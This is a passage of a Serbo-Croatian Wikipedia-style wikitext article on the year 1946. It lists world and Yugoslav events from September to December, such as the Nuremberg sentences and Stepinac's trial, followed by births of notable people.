vlade FNRJ povodom preletanja američkih aviona. * 30. 8. - Završen [[Rupnikov proces]] u Ljubljani: [[Leon Rupnik]] i još dvojica na smrt; tri zatvorske kazne, biskup [[Gregorij Rožman]] i političar [[Miha Krek]] u odsustvu. * 30. 8. - U francuskoj zoni Njemačke osnovana država [[Porajnje-Falačka]]. * [[31. 8.]] - Francuske trupe napuštaju Liban, čime se okončava [[Mandat za Siriju i Liban]]. === Septembar/Rujan === * [[1. 9.]] - Plebiscit u Grčkoj, 68,4% za povratak kralja - podsticaj građanskom ratu. * 1. 9. - Titova nota izražava žaljenje zbog smrti američkih letača. (NYT) * [[2. 9.]] - Postavljena je privremena vlada Indije, na čelu je [[Jawaharlal Nehru]] kao potpredsednik izvršnog veća (muslimani ipak ulaze u oktobru). * [[3. 9.]] - Predsednik Truman je tajnom direktivom odobrio [[Operacija Spajalica|operaciju Spajalica]] i proširio je na još 1000 osoba. * 3 - 7. 9. - Četiri avionske nesreće u pet dana, kod Kopenhagena (Air France, 22 mrtvih), Pariza (Air France, 20), Elka u Nevadi (Trans-Luxury Airlines, 21 od 22) i kod Bathursta u Gambiji (British South American Airways, 23 od 24). * [[4. 9.]] - Izbija muslimansko-hinduističko ulično nasilje u Bombaju. * [[5. 9.]] - [[Sporazum De Gasperi-Gruber]]: [[Južni Tirol]] ostaje u Italiji, s autonomijom. * 5. 9. - Lučki radnici u SAD odbijaju da utovare brod sa UNRRA-inom pomoći za Jugoslaviju. (NYT) * [[6. 9.]] - Državni sekretar [[James F. Byrnes]] održao govor u [[Stuttgart]]u "Reformulacija politike o Nemačkoj", nazvan i "Govor nade": odbačen [[Morgenthauov plan]], Nemačka će biti rekonstruisana, naizgled dovedena u pitanje nova granica sa Poljskom. * 6. 9. - Grčki avion oboren iznad Jugoslavije. (NYT 7. 9., ili prisilno spušten, avion i pilot oslobođeni sledećeg meseca, NYT 21. 10.) * 8. 9. - Saveznički vojni policajci pucaju na projugoslovensku masu u Trst, nakon što je na njih bačena granata. (NYT) * [[10. 9.]] - Sestra Anjezë Gonxhe Bojaxhiu, još uvek jugoslovenska državljanka, doživela nadahnuće u Indiji da se posveti siromašnima - [[Majka Tereza]] će osnovati [[Misionarke milosrđa]] 1950. * [[13. 9.]] - "Bierutovi dekreti": osobe nemačke nacionalnosti su isključene iz poljske narodne zajednice. [[Datoteka:Coat of arms of Bulgaria (1948–1968).svg|mini|100px|Amblem NR Bugarske, 1948-67]] * [[15. 9.]] - Na osnovu plebiscita od pre sedam dana, proglašena je [[Narodna Republika Bugarska]]. * [[18. 9.]] - Uhapšen nadbiskup Stepinac. * 18. 9. - Brazil je dobio peti ustav: za razliku od [[Getúlio Vargas|Vargasovog]], sužena je moć predsednika (traje do 1967). * [[20. 9.]] - [[5. 10.]] - Ponovo pokrenut [[Kanski filmski festival 1946.|Kanski filmski festival]] (prvi je trebao biti održan u septembru 1939, Zlatna palma uvedena 1955). * [[23. 9.]] - Løgting, skupština [[Farski otoci|Farskih otoka]] glasa 12:11 za neovisnost, na osnovu plebiscita od 15. 9. - ali danski kralj ga raspušta sutradan. Otoci dobivaju široku autonomiju 1948. * [[24. 9.]] - Predsednik Truman dobio tajni Clifford-Elseyjev izveštaj: odnosi i sporazumi sa SSSR i kako ih Sovjeti krše - preporučeno "obuzdavanje i ograničavanje" njihovog uticaja (→ ''[[Containment]]''). * [[25. 9.]] - Bugarski ministar odbrane [[Damjan Velčev]] iz stranke "[[Zveno]]" smenjen pod sumnjom da je imao veze sa Dražom Mihailovićem<ref>Return to Diversity, A Political History of East Central Europe Since World War II - Joseph Rothschild & Nancy M. Wingfield, p. 116</ref>. * 25. 9. - Američki letači su sahranjeni na Arlingtonu, a lučki radnici glasaju da nastave utovar pomoći za Jugoslaviju. (NYT, služba za letače je držana i u njujorškoj crkvi sv. Save 29-tog) * [[26. 9.]] - Zatvorena američka čitaonica u Beogradu - opet otvorena u decembru ali uz ograničen opseg informacija. * 26. 9. - Grčki kralj [[Đorđe II Grčki|Đorđe II]] se vratio u zemlju. * 28. 9. - Grčki kralj [[Jorgos II od Grčke|Đorđe II]] se vratio u zemlju (umire pola godine kasnije). * [[29. 9.]] - Prva utakmica fudbalske reprezentacije Jugoslavije u zemlji: Jugoslavija - Čehoslovačka 4:2 na nedovršenom stadionu JNA u Beogradu<ref name="BajecDolničar1981-99"/>. * [[29. 9.]] - [[29. 10.]] - U Beogradu održana izložba "Slikarstvo i vajarstvo naroda Jugoslavije XIX i XX veka", kasnije i u Zagrebu i Ljubljani, kao i u istočnim zemljama do 1948.<ref>Milan Bajec, Ivan Dolničar, 1981. 114</ref>. === Oktobar/Listopad === [[Datoteka:Defendants in the dock at the Nuremberg Trials.jpg|mini|left|Optuženi na [[Nürnberški proces|Nürnberškom procesu]]]] * [[1. 10.]] - [[Nürnberški proces]]: izrečene su kazne - 12 smrtnih, jedna u odsustvu, sedam zatvorskih, trojica oslobođena. * 1. 10. - U [[UK]] osnovana [[Mensa International]]. * [[2. 10.]] - ''[[Faraway Hill]]'' je prva [[sapunica]] na TV mreži u SAD, na [[DuMont Television Network|DuMontu]]. * [[3. 10.]] - DC-4 udario u brdo na Njufaundlendu - sa 39 mrtvih, najgora avionska nesreća do tada. * 5/[[6. 10.]] - 11 tačaka u Negevu: Jevreji postavljaju kampove na severu Negeva, koji bi po Morrison–Gradyjevom planu pripao arapskoj provinciji. * [[6. 10.]] - Umro švedski premijer [[Per Albin Hansson]], naslediće ga [[Tage Erlander]] (do 1969). * [[7. 10.]] - Japanski parlament je usvojio novi [[ustav Japana|ustav]] - na snazi od sledeće godine. * 9. 10. - FNRJ će platiti 150.000 dolara za stradale avijatičare. (NYT) * [[10. 10.]] - Na međunarodnoj konferenciji u Parizu odobren mirovni sporazum sa Italijom - dogovoreno stvaranje [[Slobodni Teritorij Trsta|Slobodnog Teritorija Trsta]] (ugovor potpisan [[1947]]). * 10. 10. - Na jugoistoku današnjeg Bangladeša počinju Noakhaliski neredi, progon hinduista. Gandhi će boraviti u regionu od novembra do marta. [[Datoteka:Alojzije Stepinac on trial.jpg|mini|Nadbiskup [[Alojzije Stepinac]] na suđenju]] * [[11. 10.]] - Nadbiskup [[Alojzije Stepinac]] osuđen na 16 godina zatvora za veleizdaju i ratne zločine; na robiju osuđen i Ivan Šalić, a Erih Lisak na smrt (presuda Stepincu poništena 2016). * [[12. 10.]] - Industrijalizacija Brazila: u [[Volta Redonda|Volta Redondi]] otvorena ''Companhia Siderúrgica Nacional'', prva čeličana u Južnoj Americi (privatizovana 1993). * [[14. 10.]] - Osnovana [[Međunarodna organizacija za standardizaciju]] - ISO. * 14. 10. - Vatikan ekskomunicirao jugoslovenske zvaničnike povezane sa Stepinčevom osudom - nisu navedena imena, pretpostavlja se da je usmereno protiv Tita. * [[15. 10.]] - Posljednji sastanak Mirovne konferencije u Parizu, koji FNRJ bojkotuje. * 15. 10. - Osnovano Narodno pozorište "Toša Jovanović" u [[Zrenjanin]]u. * [[16. 10.]] - Rano ujutru obešena desetorica osuđenih na smrt u [[Nürnberški proces|Nürnberškom procesu]], Göring se ubio prethodne večeri. * 16. 10. - ''[[RMS Queen Elizabeth]]'' je konačno zaplovio kao luksuzni putnički brod, pošto je prevozio trupe tokom rata (plovi do 1969). * [[20. 10.]] - Izbori za državne skupštine u sovjetskoj nemačkoj zoni, najviše mandata dobija Socijalistička partija jedinstva. * 20. 10. - Ukinuta [[Rajnska pokrajina]] Pruske (dogodine i Pruska). * [[21. 10.]] - U Bamaku osnovana antikolonijalna partija Afričko demokratsko okupljanje, na čelu sa [[Félix Houphouët-Boigny|Félixom Houphouët-Boignyjem]]. * [[22. 10.]] - [[Incident u Krfskom kanalu]], 2. deo: britanski brodovi ''Saumarez'' i ''Volage'' naleteli na mine, poginula 44 mornara (za polaganje mina osumnjičeni Jugosloveni). * 22. 10. - Operacija Osoaviahim: Sovjeti su prebacili preko 2.200 nemačkih eksperata u SSSR * [[24. 10.]] - Prva fotografija Zemlje iz svemira je snimljena sa rakete V-2 No. 13 lansirane iz [[White Sands, New Mexico|White Sands]]. * 24. 10. - Počinju Biharski neredi u Indiji: hinduisti ciljaju muslimane do 11. 11., što je odgovor na Noakhaliske nerede na jugoistoku današnjeg Bangladeša. * [[27. 10.]] - Nakon što je ranije tokom meseca prihvaćen na plebiscitu od 53% glasača, donesen je novi [[Ustav Francuske (1946)|Ustav Francuske]] koji definira [[Četvrta Francuska Republika|Četvrtu republiku]] (zamenjen 1958). * [[28. 10.]] - [[Grčki građanski rat]]: [[Komunistička partija Grčke|KP Grčke]] osnovala Generalnu partizansku komandu na čelu sa [[Markos Vafiadis|Markosom Vafiadisom]], od decembra pod nazivom [[Demokratska armija Grčke]]. * [[29. 10.]] - [[Lucky Luciano]], koji je prošlog februara proteran iz SAD u Italiju, tajno stiže na Kubu. * [[31. 10.]] - Indonežanski nacionalisti uvode [[Indonezijska rupija|rupiju]] (inače se koristi holandsko-indijski gulden). === Novembar/Studeni === * [[1. 11.]] - Utakmica Toronto Huskies - New York Knickerbockers, prva je Košarkaške asocijacije Amerike, kasnije NBA. * 1. 11. - [[Karol Wojtyla]] (26) zaređen je za svećenika u Krakówu. * 1. 11. - Zvanični datum osnivanja [[Donja Saksonija|Donje Saksonije]] u britanskoj zoni Nemačke: Državi Hanover su priključeni Braunschweig, Oldenburg i Schaumburg-Lippe. * [[3. 11.]] - Izbori za Ustavotvornu skupštinu NR Crne Gore. * 3. 11. - [[Gabriel González Videla]] je novi predsednik Čilea (do 1952); ubrzo raskida sa komunističkim saveznicima, čiju partiju zabranjuje 1948. * 3. 11. - Antijugoslovenske demonstracije u Trstu, napadnuta štampa i Slovenci (NYT), dok je italijanski vicepremijer Togliatti u poseti u Beogradu. NYT izveštava 8. 11. da je Tito "ponudio" Trst za Goricu, što Italija odbija, kasnije tokom meseca se uz Goricu pominje i Tržič (Monfalcone, NYT 26. 11.). * [[4. 11.]] - Na snazi je povelja kojom je osnovan [[UNESCO]] - prva generalna konferencija je otvorena kasnije tokom meseca, za prvog direktora će biti izabran [[Julian Huxley]]. * [[5. 11.]] - Izbori za Kongres SAD: Republikanci preuzimaju većinu u oba doma, zbog nepopularnosti predsednika Trumana. Među novim kongresmenima su [[Richard Nixon]], [[John F. Kennedy]] (Dom) i [[Joseph McCarthy]] (Senat). Demokrati će za dve godine povratiti većine. * [[6. 11.]] - Apel masovnim organizacijama u Jugoslaviji za prikupljanje pomoći Albaniji, koju su krajem oktobra pogodile velike poplave. * [[7. 11.]] - Nakon 190 dana završena prva savezna radna akcija omladine na gradnji željezničke [[Pruga Brčko–Banovići|pruge Brčko–Banovići]], duge 190&nbsp;km. U akciji učestvovalo oko 70.000 osoba iz cijele zemlje i 2.000 iz inostranstva. * [[9. 11.]] - [[Sarajevska opera]] započela svoju umjetničku djelatnost svečanom premijerom "[[Prodana nevjesta]]" [[Bedrich Smetana|Bedricha Smetane]]. * [[10. 11.]] - Izbori za Ustavotvornu skupštinu NR Srbije i za Ustavotvorni Sabor NR Hrvatske - očekivana potvrda za Narodni front, uz veliku izlaznost. * 10. 11. - Prvi izbori za skupštinu francuske četvrte republike: komunisti dobijaju relativnu većinu. * 10. 11. - Zemljotres u peruanskom regionu Ancash odnosi procenjenih 1.400 žrtava. * [[12. 11.]] - U [[Indonezija|Indoneziji]] primirje između nacionalista i holandske armije. * 12. 11. - Prikazan Disneyjev film ''[[Song of the South]]''. * 12-[[13. 11.]] - Incident u Krfskom kanalu, 3. deo: Britanci čiste mine u albanskim teritorijalnim vodama. [[Datoteka:Serbia, Belgrade, Pančevo bridge, 11.05.2011.jpg|mini|220px|[[Pančevački most]]]] * [[14. 11.]] - [[Patrijarh srpski Gavrilo]] se vratio u zemlju. * [[15. 11.]] - Sporazum iz Linggadjatija: Holanđani priznaju faktičku indonežansku kontrolu Jave, Sumatre i Madure, predviđeno stvaranje federacije sa ostatkom ostrvlja. * novembar - Beduini pronašli prve [[Svici sa Mrtvog mora|Svitke sa Mrtvog mora]] * novembar - [[Grčki građanski rat]]: borbe oko mesta Skra blizu jugoslovenske granice. * [[16. 11.]] - Reforma [[japansko pismo|japanskog pisma]]: ''Tōyō kanji'' je nedefinitivan spisak od 1.850 zvaničnih [[kanji]]ja, umesto 6.000 tradicionalnih. * [[17. 11.]] - Franko-tajski sporazum: Tajland je vratio Francuzima teritorije date nakon rata 1940-41, u zamenu za deblokadu prijema u UN. * [[17. 11.|17]] - [[19. 11.]] - U Beogradu održan Prvi kongres Saveza književnika Jugoslavije - u znaku [[socrealizam|socrealizma]], ali uz uzimanje u obzir domaće tradicije (uvodni referat [[Radovan Zogović]]). Za predsednika Saveza izabran [[Ivo Andrić]], potpredsednici [[Oton Župančič]], [[Miroslav Krleža]], [[Isidora Sekulić]], [[Ra­dovan Zogović]], [[Isak Samokovlija]] i [[Blažo Koneski]], sekretar [[Čedomir Minderović]]<ref>Milan Bajec, Ivan Dolničar, 1981, str. 96</ref>. * [[19. 11.]] - Izbori u Rumuniji: zvanično, Nacionalni demokratski front (komunisti i ostali) uzima 348 od 414 mesta. * 19. 11. - Prve nove [[Države članice Ujedinjenih naroda|članice UN]] od osnivanja: [[Kraljevina Afganistan|Afganistan]], Island i Švedska (Tajland u decembru). * [[20. 11.]] - Francuski patrolni čamac zarobio kinesku džunku koja je krijumčarila benzin u luci Haiphong. Gerila Viet Minha zarobila čamac i posadu - Francuzi uputili ultimatum. * [[21. 11.]] - U Njujorku prikazan film ''[[The Best Years of Our Lives]]'', kritički i komercijalni uspeh. * [[23. 11.]] - [[Georgi Dimitrov]] preuzima bugarsku vladu od [[Kimon Georgijev|Kimona Georgijeva]] (do smrti 1949). * 23. 11. - [[Prvi indokineski rat]] počinje francuskim bombardovanjem [[vijetnam]]ske luke [[Hai Phong]], pri čemu ginu hiljade ljudi. * [[27. 11.]] - U Beogradu zaključen Ugovor o usklađivanju privrednih planova, o carinskoj uniji i o izjednačenju valute između FNRJ i NR Albanije<ref>Marović, B. [https://www.rastko.rs/rastko-al/zbornik1990/bmarovic-ugovori_l.php Međudržavni ugovori zaključeni između Jugoslavije i Albanije 1946. godine]. rastko.rs</ref> (skupština FNRJ ratifikovala 27. 12., NYT). * [[29. 11.]] - Krenuo drumski saobraćaj na obnovljenom [[Pančevački most|Pančevačkom mostu]] u Beogradu (prvi voz prošao [[7. 11.]]). * 29. 11. - Čelnik [[Estonska Sovjetska Socijalistička Republika|Estonske SSR]] Johannes Vares izvršio samoubistvo u svojoj rezidenciji. * novembar - mart - Gladna zima u Nemačkoj, najjača u regionu Severnog mora u 20. stoleću. === Decembar/Prosinac === * [[1. 12.]] - [[Miguel Alemán Valdés]] je predsednik Meksika nakon [[Manuel Ávila Camacho|M. A. Camacha]] (do 1952), prvi civil od 1920. Sprovodi program supstitucije uvoza i gradnje infrastrukture (→ [[Meksičko čudo]]), ali rastu i korupcija i [[ortački kapitalizam]]. * [[2. 12.]] - Osnovana [[Međunarodna komisija za lov na kitove]]. * [[3. 12.]] - [[Mijo Kerošević]], kasnije proglašen za narodnog heroja, poginuo kod Bijeljine u poteri za četničkim odmetnicima. * [[4. 12.]] - Usvojen novi bugarski ustav. * [[5. 12.]] - U FNRJ donesen Zakon o nacionalizaciji privatnih privrednih preduzeća, i to saveznog i republičkog značaja (mnoga su već pod sekvestrom): celokupno bankarstvo, spoljna trgovina i unutrašnja trgovina na veliko, kao i sva preduzeća saobraćaja i sredstava za vezu. * [[8. 12.]] - Sveslovenski kongres u Beogradu. * [[9. 12.]] - Okupila se Ustavotvorna skupština Indije, nema predstavnika Muslimanske lige. * [[10. 12.]] - Rezolucija 12 Saveta bezbednosti UN, u vezi Grčkog pitanja: predstavnici Grčke i Jugoslavije će biti pozvani da učestvuju u diskusiji, bez prava glasanja; Albanija i Bugarska su pozvane da daju izjave. * [[11. 12.]] - Generalna skupština [[Ujedinjene nacije|Ujedinjenih nacija]] osnovala [[UNICEF]], Međunarodni fond Ujedinjenih nacija za pomoć deci u zemljama razorenim ratom. * [[12. 12.]] - Rezolucijom Generalne skupštine, UN prekidaju odnose sa [[Francisco Franco|Frankovom]] Španijom (zabrana ukinuta 1950). [[Datoteka:Republic of mahabad and iranian azerbaijan 1945 1946.png|mini|200px|Kraj kurdske i azerske secesije u Iranu]] * 12. 12. - Iranske snage ušle u Tabriz, što znači pad secesionističke "[[Autonomna Republika Azerbejdžan|Azerbejdžanske narodne vlade]]". * [[14. 12.]] - Generalna skupština UN određuje osnivanje [[Starateljski savjet Ujedinjenih naroda|Starateljskog savjeta Ujedinjenih naroda]], za teritorije koje su ranije bile mandati Društva naroda. * [[15. 12.]] - Iranske snage ušle u [[Mahabad]], čime je pala [[Republika Mahabad|istoimena kurdska republika]]. * [[16. 12.]] - [[Léon Blum]] je na čelu poslednje privremene francuske vlade - "silvestrovska vlada", traje do sledećeg meseca. * 16. 12. - Osnovana modna kuća ''[[Dior]]'', sledećeg februara predstavljaju prvu kolekciju, nazvanu ''New Look''. * [[19. 12.]] - [[Prvi indokineski rat]] počinje Bitkom za Hanoj: sukob francuskih i Viet Minhovih snaga u Hanoju, Francuzi će staviti grad pod svoju punu kontrolu za dva meseca. SAD podržavaju Francuze protiv komunista u Viet Minhu. * 19. 12. - [[Grčki građanski rat]]: [[Rezolucija 15 Saveta bezbednosti Ujedinjenih nacija|Rezolucija 15 SB UN]]: ustanovljena Istražna komisija koja će ispitivati povrede grčke granice prema Albaniji, Jugoslaviji i Bugarskoj (Grčka optužuje Jugoslaviju za "agresiju" i pomaganje "revolucionarnih bandi"). * 19. 12. - Britanski premijer Attlee izjavio spremnost za ponudu nezavisnosti Burme. * [[20. 12.]] - Počinje [[Havanska konferencija]] američkih mafijaških bosova. [[Lucky Luciano]] je potvrdio svoje prvenstvo, izneo plan trgovine drogom u SAD, odlučivano je o likvidaciji [[Bugsy Siegel|Bugsyja Siegela]]. * 20. 12. - Prikazan film ''[[It's a Wonderful Life]]'' - komercijalno je slabo prošao, postaje božićni klasik od polovine '70-tih. * [[21. 12.]] - Nankaiski zemljotres praćen cunamijem u Japanu, najmanje 1.362 mrtvih. * [[22. 12.]] - Završeno suđenje nemačkim oficirima u Beogradu, među osuđenima na smrt je i [[August Meyszner]], ratni komandant SS i policije u Srbiji. * [[25. 12.]] - U Moskvi proradio nuklearni reaktor [[F-1 (reaktor)|F-1]], prvi u Evropi koji je postigao samoodrživu [[lančana reakcija|lančanu reakciju]]. * [[26. 12.]] - Otvoren [[Flamingo Las Vegas]], prvi luksuzni kazino i hotel u tom gradu - [[Bugsy Siegel]] ga je gradio mafijaškim pozajmicama po četvorostruko većoj ceni od predviđene (ubijen je sledećeg juna). * 26. 12. - Zvanično osnivanje [[Neofašizam|neofašističke]] partije [[Italijanski socijalni pokret-Nacionalna desnica|Italijanski socijalni pokret]] (do 1994). * [[31. 12.]] - Ustave su dobile Narodne Republike [[Datoteka:Coat of Arms of the Socialist Republic of Bosnia and Herzegovina.svg|30px]] Bosna i Hercegovina, [[Datoteka:Coat of arms of Montenegro (1947-1963).jpg|30px]] Crna Gora i [[Datoteka:Emblem of Macedonia (1946–2009).svg|30px]] Makedonija. * 31. 12. - Predsednik [[SAD]] [[Hari Truman]] Proklamacijom 2714 formalno proglašava kraj [[Drugi svetski rat|Drugog svetskog rata]]. === Kroz godinu === * [[Kineski građanski rat]] eskalira. * Osnovano elektrotehničko odeljenje na [[Beogradski univerzitet|Univerzitetu]] u Beogradu. * Osnovan [[Sarajevski balet]]. * Okončana američka okupacija [[Island]]a. * Jugoslavija ekipni prvak Balkana u [[šah]]u. * [[Milovan Zoričić]] iz Zagreba jedan od sudija [[Međunarodni sud pravde|Međunarodnog suda pravde]]. == 1946. u temama == * Rukovodstvo [[FNRJ]]: ** Predsednik Prezidijuma Narodne Skupštine: [[Ivan Ribar]] ** Predsednik Vlade: [[Josip Broz Tito]] (takođe i Generalni sekretar [[KPJ]]) ** Predsednik Narodne skupštine: [[Vladimir Simić]] * [[Popis jugoslavenskih filmova|Domaći film]]: "[[U planinama Jugoslavije]]" (sovjetska koprodukcija) (→ [[:Kategorija:Filmovi 1946.]]). * [[Spisak država po datumu državnosti|Nove države]]: {| | | [[Datoteka:Flag of Jordan.svg|thumb|120px|[[Jordan|Transjordan]]]] | [[Datoteka:Flag of the Philippines.svg|thumb|120px|[[Filipini]]]] |} == Rođenja == {{glavni članak|:Kategorija:Rođeni 1946.}} === Januar/Siječanj === * [[5. 1.]] - [[Diane Keaton]], glumica († [[2025]]) * [[6. 1.]] - [[Syd Barrett]], rok-muzičar iz ''Pink Floyd''-a († [[2006]]) * [[13. 1.]] - [[Sonja Jauković]], glumica * [[15. 1.]] - [[Dragomir Zupanc]], TV reditelj * [[16. 1.]] - [[Kabir Bedi]], glumac * [[17. 1.]] - [[Meto Jovanovski]], glumac († [[2023]]) * [[19. 1.]] - [[Dolly Parton]], country-muzičarka * [[20. 1.]] - [[David Lynch]], filmski režiser († [[2025]]) * [[22. 1.]] - [[Malcolm McLaren]], muzičar († [[2010]]) * [[23. 1.]] - [[Zvonko Bušić]], radikalni emigrant († [[2013]]) * [[24. 1.]] - [[Goran Milić]], novinar * 24. 1. - [[Michael Ontkean]], glumac * [[27. 1.]] - [[Andrija Hebrang (sin)|Andrija Hebrang]], hrvatski političar i liječnik * [[30. 1.]] - [[Dick Cheney]], potpredsednik SAD === Februar/Veljača === * [[3. 2.]] - [[Žarko Potočnjak]], hrvatski glumac († [[2021]]) * [[4. 2.]] - [[Usnija Redžepova]], narodna pevačica († [[2015]]) * [[5. 2.]] - [[Charlotte Rampling]], britanska glumica * [[10. 2.]] - [[Velimir Kljaić]], hrvatski rukometni trener († [[2010]]) * [[19. 2.]] - [[Beti Đorđević]], pevačica († [[2026]]) * [[21. 2.]] - [[Alan Rickman]], britanski glumac († [[2016]]) * [[24. 2.]] - Slobodan Petrović - [[Petar Slaj]], baletski koreograf († [[2013]]) * 24. 2. - [[Ratomir Dujković]], golman i fudbalski trener * [[28. 2.]] - [[Robin Cook]], britanski političar († [[2005]]) === Mart/Ožujak === * [[1. 3.]] - [[Ljubiša Veličković]], gen-puk., komandant RV i PVO VJ († [[1999]]) * [[3. 3.]] - [[Ejup Ganić]], bh. političar * [[6. 3.]] - [[David Gilmour]], rok-muzičar iz ''Pink Floyd'' * [[8. 3.]] - [[Jasna Diklić]], bosanskohercegovačka pozorišna i filmska glumica * [[11. 3.]] - [[Jurij Bajec]], ekonomista * [[12. 3.]] - [[Liza Minnelli]], američka glumica i pjevačica * [[19. 3.]] - [[Bigas Luna]], režiser († [[2013]]) * [[21. 3.]] ('44 ili '46) - [[Timothy Dalton]], glumac * [[31. 3.]] - [[Hašim Kučuk Hoki]], pevač narodne muzike († [[2002]]) * 31. 3. - Leposava [[Lokica Stefanović]], arhitekta, balerina, baletski pedagog === April/Travanj === * [[3. 4.]] - [[Branislav Milićević]], Branko Kockica * [[6. 4.]] - [[Ivan Bekjarev]], srpski glumac († [[2020]]) * [[7. 4.]] - [[Dimitrij Rupel]], slovenački političar * [[10. 4.]] - [[Vladimir Janković]] (Vlada Džet), rok-muzičar, novinar Beograda 202 * 10. 4. - [[Nebojša Pavković]], general, načelnik generalštaba Vojske Jugoslavije († [[2025]]) * [[13. 4.]] - [[Josif Tatić]], glumac († [[2013]]) * [[25. 4.]] - [[Srbijanka Turajlić]], profesor BU, politička aktivistkinja († [[2022]]) * 25. 4. - [[Vladimir Žirinovski]], ruski političar († [[2022]]) * 25. 4. - [[Strobe Talbott]], američki novinar i diplomata * [[30. 4.]] - [[Carl XVI Gustaf]], kralj Švedske === Maj/Svibanj === * [[2. 5.]] - [[David Suchet]], britanski glumac * [[8. 5.]] - [[Borislav Stjepanović]], bh. glumac i režiser * [[9. 5.]] - [[Candice Bergen]], glumica * [[10. 5.]] - [[Marko Nicović]], advokat, funkcioner SUP * 10. 5. - [[Dušan Petričić]], grafičar, ilustrator * [[11. 5.]] - [[Zoran Simjanović]], kompozitor († [[2021]]) * [[12. 5.]] - [[Daniel Libeskind]], arhitekt * [[19. 5.]] - [[Michele Placido]], glumac * [[20. 5.]] - [[Cher]], pevačica, glumica * [[21. 5.]] - [[Boba Stefanović]], pevač, kompozitor († [[2015]]) * [[22. 5.]] - [[Hrvoje Horvat]], rukometaš, trener * [[22. 5.]] - [[Petar Božović]], glumac * 22. 5. - [[George Best]], sjevernoirski fudbaler († [[2005]]) * [[24. 5.]] - [[Tansu Çiller]], premijerka Turske * [[25. 5.]] - [[Miroslav Tuđman]], znanstvenik i političar († [[2021]]) * [[26. 5.]] - [[Mick Ronson]], rock gitarist, producent († [[1993]]) * 26. 5. - [[Miroslav Maksimović (pesnik)|Miroslav Maksimović]], književnik, urednik BIGZ-a * [[27. 5.]] - [[Predrag Vranešević]], član "Laboratorije zvuka" († [[2022]]) * [[30. 5.]] - [[Dragan Džajić]], srpski fudbaler === Jun/Juni/Lipanj === * [[5. 6.]] - [[Branko Baletić]], filmski reditelj i scenarista * [[6. 6.]] - [[Živko Kolega]], hrvatski političar * [[10. 6.]] - [[Antun Tudić]], hrvatski glumac * [[14. 6.]] - [[Donald Trump]], biznismen, predsednik SAD * [[15. 6.]] - [[Demis Rusos]], pevač († [[2015]]) * [[18. 6.]] - [[Fabio Capello]], fudbaler, trener * [[20. 6.]] - [[Xanana Gusmão]], prvi predsednik Istočnog Timora * [[23. 6.]] - [[Gojko Šantić]], glumac († [[2024]]) * [[24. 6.]] - [[Velimir Milošević]], pjesnik za djecu * [[27. 6.]] - [[Miroljub Lešo]], glumac († [[2019]]) * [[28. 6.]] - [[Slobodan Inić]], sociolog († [[2000]]) === Jul/Juli/Srpanj === * [[1. 7.]] - [[Slobodan Santrač]], fudbaler, trener († [[2016]]) * [[6. 7.]] - [[George W. Bush]], predsjednik SAD * 6. 7. - [[Peter Singer]], australski filozof bioetičar * 6. 7. - [[Sylvester Stallone]], američki glumac * [[9. 7.]] - [[Radomir Putnik (pisac)]] * [[15. 7.]] - [[Predrag Vitas]], novinar TV Beograd († [[1998]]) * [[19. 7.]] - [[Ilie Năstase]], teniser * [[22. 7.]] - [[Mireille Mathieu]], pevačica * 22. 7. - [[Danny Glover]], glumac * [[25. 7.]] - [[Ljupka Dimitrovska]], pevačica († [[2016]]) * [[27. 7.]] - [[Rade Šerbedžija]], glumac, pjesnik i muzičar === Avgust/August/Kolovoz === * [[3. 8.]] - [[Jack Straw]], britanski političar * [[4. 8.]] - [[Vladimir Bebić]], hrvatski političar († [[2009]]) * [[8. 8.]] - [[Dragutin Šurbek]], stonoteniser († [[2018]]) * [[10. 8.]] - [[Daša Drndić]], književnica († [[2018]]) * 10. 8. - [[Rifet Bahtijaragić]], bosanskohercegovački književnik * [[11. 8.]] - [[Milan Gutović]] - Lane, glumac († [[2021]]) * 11. 8. - [[Radomir Marković]], načelnik SDB Srbije * [[15. 8.]] - [[Tony Robinson]], glumac, TV voditelj * [[16. 8.]] - [[Pavao Pavličić]], hrvatski književnik i romanopisac * 16. 8. - [[Kaqusha Jashari]], kosovska političarka († [[2025]]) * [[19. 8.]] - [[Bill Clinton]], američki predsjednik * [[20. 8.]] - [[Connie Chung]], novinarka * [[23. 8.]] - [[Keith Moon]], bubnjar ''The Who'' († [[1978]]) * [[24. 8.]] - [[Goran Marković]], pozorišni i filmski reditelj * [[25. 8.]] - [[Branko Cvejić]], glumac, upravnik JDP († [[2022]]) * [[26. 8.]] - [[Mark Snow]], kompozitor († [[2025]]) * [[29. 8.]] - [[Bob Beamon]], atletičar * [[30. 8]] - [[Peggy Lipton]], glumica († [[2019]]) === Septembar/Rujan === * [[5. 9.]] - [[Freddie Mercury]], britanski pjevač ([[Queen]]), († [[1991]]) * [[8. 9.]] - [[Beriz Belkić]], bh. političar († [[2023]]) * [[15. 9.]] - [[Tommy Lee Jones]], glumac * 15. 9. - [[Oliver Stone]], filmski režiser, producent * [[23. 9.]] - [[Davorin Popović]], muzičar († [[2001]]) * [[26. 9.]] - [[Sejo Pitić]], pjevač († [[2023]]) * [[29. 9.]] - [[Nataša Kandić]], aktivistkinja za ljudska prava === Oktobar/Listopad === * [[4. 10.]]- [[Suzan Sarandon]], američka filmska glumica. * [[8. 10.]] - [[Hanan Ashrawi]], palestinska političarka * [[19. 10.]] - [[Philip Pullman]], književnik * [[20. 10.]] - [[Elfride Jelinek]], dobitnica Nobelove nagrade za književnost. * 20. 10. - [[Marko Nikolić]], srpski glumac († [[2019]]) * [[26. 10.]] - [[Holly Woodlawn]], američka glumica * 26. 10. - [[Tanja Kragujević]], književnica * [[27. 10.]] - [[Ivan Reitman]], filmski režiser, producent († [[2022]]) * [[29. 10.]] - [[Vahidin Musemić]], fudbaler († [[2023]]) === Novembar/Studeni === * [[4. 11.]] - [[Robert Mapplethorpe]], fotograf († [[1989]]) * [[6. 11.]] - [[Sally Field]], glumica, režiser * [[8. 11.]] - [[Guus Hiddink]], fudbaler, trener * 8. 11. - [[Stanislav Karasi]], fudbaler * [[11. 11.]] - [[Dimitrije Boarov]], ekonomski novinar * [[16. 11.]] - [[Terrence McKenna]], američki pisac i filozof * 16. 11. - [[Slobodan Šijan]], filmski i TV reditelj, scenarista itd. * [[20. 11.]] - [[Patrijarh ruski Kiril]] * [[24. 11.]] - [[Ted Bundy]], serijski ubica († [[1989]]) * [[27. 11.]] - [[Jakša Fiamengo]], pjesnik i tekstopisac († [[2018]]) * [[29. 11.]] - [[Vuk Drašković]], književnik, novinar, predsednik [[SPO]] * [[30. 11.]] - [[Marina Abramović]], slikarka, multimedijalna i konceptualna umetnica === Decembar/Studeni === * [[1. 12.]] - [[Kemal Kurspahić]], novinar († [[2021]]) * 1. 12. - [[Mladen Naletilić]] 